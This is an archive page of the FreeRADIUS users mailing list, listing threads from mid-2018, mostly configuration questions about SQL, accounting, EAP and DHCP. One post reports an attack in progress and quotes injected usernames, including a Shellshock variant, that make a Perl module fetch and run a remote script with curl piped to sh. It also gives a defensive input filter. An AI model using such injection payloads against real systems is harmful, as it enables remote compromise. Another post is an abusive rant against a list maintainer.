- Freeradius-Users - lists.freeradius.org

Authorize with SQL and not authenticate
by Tom Yard 04 Jul '18

04 Jul '18

Hi people, I've just have a default file with a LDAP + SQL queries for user authorization, and NTLM for user authentication. Also I want to just authorize hosts sending its MAC Addresses as its usernames according to a SQL query matching a Mac Address table, but I don't want to authenticate them because the Active Directory doesn't contain MAC Addresses as usernames. Is it possible just authorize with Freeradius and so let hosts to access the LAN network ? Thanks a lot!!!

2 3

Freeradius status module
by Bassem Mettichi 04 Jul '18

04 Jul '18

Hello, is there any method to get statistics about account start, stop and interim-update using status module something like this: echo "Message-Authenticator = 0x00, FreeRADIUS-Statistics-Type = 2, Acct-Status-Type = Start" | radclient -x localhost:18121 status adminsecret Thanks Bassem

2 3

Remote code execution vulnerability via Perl module
by David Herselman 03 Jul '18

03 Jul '18

Hi, We had upgraded our infrastructure to FreeRADIUS 2.2.10 due to us receiving a growing number of authentication requests, starting Fri Jun 29 00:48:59 (GMT), which result in FreeRADIUS downloading and executing code. Transmitting the following username results in a custom perl module executing the code: $(/usr/bin/curl v.kernelupgr.com/d/all|sh) We have observed another variant of this, which didn't appear to affect us: () { :;}; /usr/bin/curl v.kernelupgr.com/d/all|sh We've been able to work around the problem by placing the following code near the beginning of our Perl module: if ($RAD_REQUEST{'User-Name'} !~ /^[[:alnum:]._-]+$/) { return RLM_MODULE_NOTFOUND; }; Any suggestions regarding possibly cleaning other attributes which may result in code execution on the following line? &radiusd::radlog(1, "RAD_REQUEST: $_ = $RAD_REQUEST{$_}"); Testing: [davidh@zatjnb01-radius1 ~]# perl -le 'print "u-s_e.r" !~ /^[[:alnum:]._-]+$/ ? "BAD" : "OK"' OK [davidh@zatjnb01-radius1 ~]# perl -le 'print "u\\s_e.r" !~ /^[[:alnum:]._-]+$/ ? "BAD" : "OK"' BAD [davidh@zatjnb01-radius1 ~]# perl -le 'print "u s_e.r" !~ /^[[:alnum:]._-]+$/ ? "BAD" : "OK"' BAD [davidh@zatjnb01-radius1 ~]# perl -le 'print "u\(s_e.r" !~ /^[[:alnum:]._-]+$/ ? "BAD" : "OK"' BAD Regards David Herselman

4 3

accounting
by John Martins 03 Jul '18

03 Jul '18

Hello, My freeradius 3.0.16 is not inserting data into radact, and it complains on start with the following error, but the accounting section is in radiusd.conf as stated below. Can anybody give me a clue where can be the problem? accounting { # We leave "detail" enabled to _additionally_ log accounting to /var/lo$ detail sql } Error on freeradius Start: /etc/freeradius/3.0/radiusd.conf[784]: The accounting section should be inside of a 'server { ... }' block! thanks Best

5 30

Rlm_eap_ttls Virtual Server Autoselection
by Richter, Jan 03 Jul '18

03 Jul '18

Hello, I would like to gain more information concerning the github issue #2256 (https://github.com/FreeRADIUS/freeradius-server/issues/2256) It is about the RLM_EAP_TTLS module requiring a specific virtual server set to sent the inner requests to. But first thanks for quickly answering there. I have two questions: 1. How do I configure multiple virtual servers with eap support? Am I right to create the servers with eap and then create a eap module for EACH server with the virtual server attribute set to the corresponding server again? This would increase the amount of nearly redundant configuration in a scenario with a lot of virtual servers. 2. What is so bad with the auto selection of the virtual server? What are the mentioned "security reasons"? I could not find an explanation in the comment that added the error. Or isn't it the auto selection feature, but to sent the inner requests to the same server handling the outer requests? Kind regards, Jan Richter

2 1

ISC DHCP -> FreeRADIUS turnkey solutions
by Coy Hile 02 Jul '18

02 Jul '18

Hi all, My google-fu is failing me today; are there any examples/case studies/etc of one moving from ISC’s DHCP server to FreeRADIUS? Most of the use case here is for a management network and (with a couple exceptions) are mostly a small number of static allocations served via DHCP. The only potentially cute bit I may have do deal with are sending the vendor-specific “cookie” (for lack of a better term) for APC UPSes and PDUs. Thanks, -Coy — Coy Hile coy.hile(a)coyhile.com <mailto:coy.hile@coyhile.com>

2 3

CHAP-Password handling
by J E H A N Z A I B 02 Jul '18

02 Jul '18

Hi guys, How are things ? I need valuable suggestion from you guys let me explain what I have here. I have a script which decides which kind of Access-Request have to correct. so my perl script modies the $RAD_REQUEST{'User-Name'} and $RAD_REQUEST{'User-Password'} . So this username and password both are correct. They both are in my radcheck database as well so we get Access-Accept. This works great for PAP now when I use CHAP we see 2 new parameters in the Access-Request (CHAP-Password & CHAP-Challenge) is there any way I can send direct Access-Accept if my script found the User-Name in my database? Thank you -- Regards, Jehanzaib

2 4

mysql change time in radcheck table
by JAHANZAIB SYED 02 Jul '18

02 Jul '18

I am using freeradius with mysql. Thousands of users account expiration is stored in radcheck table. Expiration value is as follows 29 Jul 2018 12:00:00 30 Jul 2018 12:00:00 I want to change only 12:00:00 to 00:00:00 (means date remains same for each user but time should change to 00:00:00) so that it will look alike 29 Jul 2018 00:00:00 30 Jul 2018 00:00:00 Regards, J <http:///>

2 2

Freeradius
by Javier Ruiz Escalante 30 Jun '18

30 Jun '18

> > Hello, > > My name is Javier Escalante, I have been asking questions here for a > couple of days, and I was as well asking in 2015. Revising the answers from > now and 2015, from Alan Dekok, one of the most active members of this > group, and I think the one who manages it, I have realized, that it is > useless to ask, you will always get the same bullshit from him, and he will > treat you like if you were an idiot, but you won't get a solution. He might > be very "intelligent", but he and his fellows are wasting time and energy, > and make us waste it as well (It is clear that they don't know about > Zen...) by answering in the way they answer. Instead, they and the ones > who made the wiki, should add the following video sent to me by Uchenna > Nebedum youtube.com/watch?v=-xws3eo2CAQ (Thanks Uchenna). Here, you will > find all what you won't get in this group in your whole life, because all > "these intelligent" people like Alan and fellows, think that we ask because > we already know. Don't you realize guys that if I knew what I ask, I'd be > having beers and not wasting my fucking time with you!!!?? > > > > After watching the video, you can configure your RADIUS in less than 30', > and you can stop wasting your time here. Uchenna also sent me a freeradius > book, which I can send to all who want it. > > My question is; what you guys (Alan and fellows who act like him) are you > doing here? What is your aim? don't you realize that you waste our time and > what you are doing is useless? > If your aim is helping, you are doing it veeeeeery bad. To answer what you > answer, and how you answer, you better close down this mailing list. > > And now, Alan, you can ban me another time. > > Have a nice day > > Best >

6 9

purpose of xp extensions
by d tbsky 29 Jun '18

29 Jun '18

Hi: for many years I just follow the document: create certificate with xp extensions and use group policy to deploy the CA. I never really understand what is. now I have several stupid questions: 1. is the "xp" extensions means windows xp or something? 2. is xp extensions only useful if we want client to verify server certificate? 3. if we use certificate like let's encrypt without xp extensions. what function do we miss? I know it is not very secure to use public CA, but it seems easier when deal with mobile devices bring by users. they just want to access wifi with their active directory username/password. thanks a lot for help!!

4 6